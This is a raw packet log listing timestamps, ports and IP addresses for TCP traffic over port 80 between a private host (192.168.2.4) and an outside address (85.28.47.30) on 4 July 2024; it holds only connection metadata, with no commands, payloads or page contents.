Jul 4, 2024 20:33:58.408602953 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.408608913 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.408617973 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.408620119 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.408632040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.408641100 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.408655882 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.408658028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.408674955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.408687115 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.408715963 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.408749104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.408759117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.408792019 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.408802032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.408824921 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.408833027 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.408835888 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.408847094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.408857107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.408868074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.408891916 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.408910036 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.409066916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.409076929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.409086943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.409096956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.409112930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.409112930 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.409122944 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.409132957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.409142971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.409145117 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.409152985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.409158945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.409164906 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.409169912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.409179926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.409190893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.409200907 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.409200907 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.409213066 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.409235001 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.412494898 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412538052 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412549019 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412552118 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.412560940 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412579060 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.412591934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412602901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412602901 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.412628889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412633896 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.412640095 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412662983 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.412677050 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.412719011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412729979 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412739992 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412750006 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412760973 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412765980 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.412784100 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.412792921 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412817001 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.412842035 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.412861109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412883043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412893057 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412905931 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.412919998 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.412940979 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.412972927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412983894 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.412993908 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413005114 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413013935 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413017035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413033962 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413064003 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413094997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413105965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413115978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413126945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413137913 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413139105 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413149118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413156033 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413170099 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413184881 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413196087 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413211107 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413240910 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413245916 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413254023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413285971 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413306952 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413314104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413325071 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413333893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413345098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413355112 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413368940 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413378954 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413381100 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413388968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413398981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413409948 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413429022 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413449049 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413450956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413490057 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413583040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413594007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413635015 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413691998 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413702011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413718939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413728952 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413733959 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413739920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413754940 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413768053 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413772106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413783073 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413793087 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413798094 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413803101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413814068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413815022 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413825035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413837910 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413856030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413882971 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.413885117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.413927078 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.414434910 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.414446115 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.414458036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.414490938 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.414520979 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.414522886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.414531946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.414541960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.414552927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.414561987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.414571047 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.414602041 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.414617062 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.479619026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.479654074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.479662895 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.479716063 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.479732037 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.479746103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.479758978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.479768991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.479779005 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.479789019 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.479794025 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.479803085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.479813099 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.479821920 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.479849100 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.479859114 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.479868889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.479878902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.479887962 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.479897022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.479901075 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.479932070 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.479948044 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.491569042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.491607904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.491619110 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.491686106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.491694927 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.491697073 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.491708040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.491719007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.491724014 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.491760015 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.502639055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.502675056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.502690077 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.502700090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.502737999 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.502748013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.502758980 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.502784967 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.502803087 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.502829075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.502839088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.502849102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.502859116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.502866030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.502899885 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.502955914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.502965927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.502974987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.502984047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.502994061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.503000021 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.503004074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.503015041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.503022909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.503034115 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.503056049 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.503068924 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.503088951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.503098965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.503108025 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.503118038 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.503127098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.503132105 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.503135920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.503144026 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.503165960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.503197908 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.503202915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.503212929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.503221989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.503228903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.503249884 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.503274918 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506225109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506233931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506243944 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506267071 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506282091 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506300926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506311893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506320000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506330013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506342888 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506352901 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506381035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506382942 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506391048 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506401062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506409883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506417990 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506418943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506428957 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506432056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506442070 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506449938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506453037 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506474972 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506488085 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506529093 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506539106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506551981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506566048 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506591082 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506593943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506603956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506618023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506628990 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506638050 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506649017 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506665945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506675959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506675959 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506700039 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506709099 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506710052 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506741047 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506761074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506795883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506804943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506814003 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506823063 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506833076 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506841898 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506858110 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506874084 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506875992 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506886005 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506895065 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506903887 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.506917953 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.506944895 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.507322073 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507349014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507358074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507369041 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.507385015 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.507401943 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.507440090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507450104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507460117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507468939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507473946 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.507493019 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.507508039 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507519007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507519960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.507528067 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507538080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507546902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507550955 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.507579088 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.507591963 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.507703066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507713079 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507720947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507730961 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507740021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507745028 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.507750034 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507759094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507767916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.507771015 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.507783890 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.507806063 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.508096933 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.508105993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.508115053 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.508140087 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.508157015 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.508174896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.508184910 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.508194923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.508203983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.508212090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.508213997 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.508236885 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.508250952 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:33:58.573379993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.573389053 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:58.573395014 CEST	80	49730	85.28.47.30	192.168.2.4
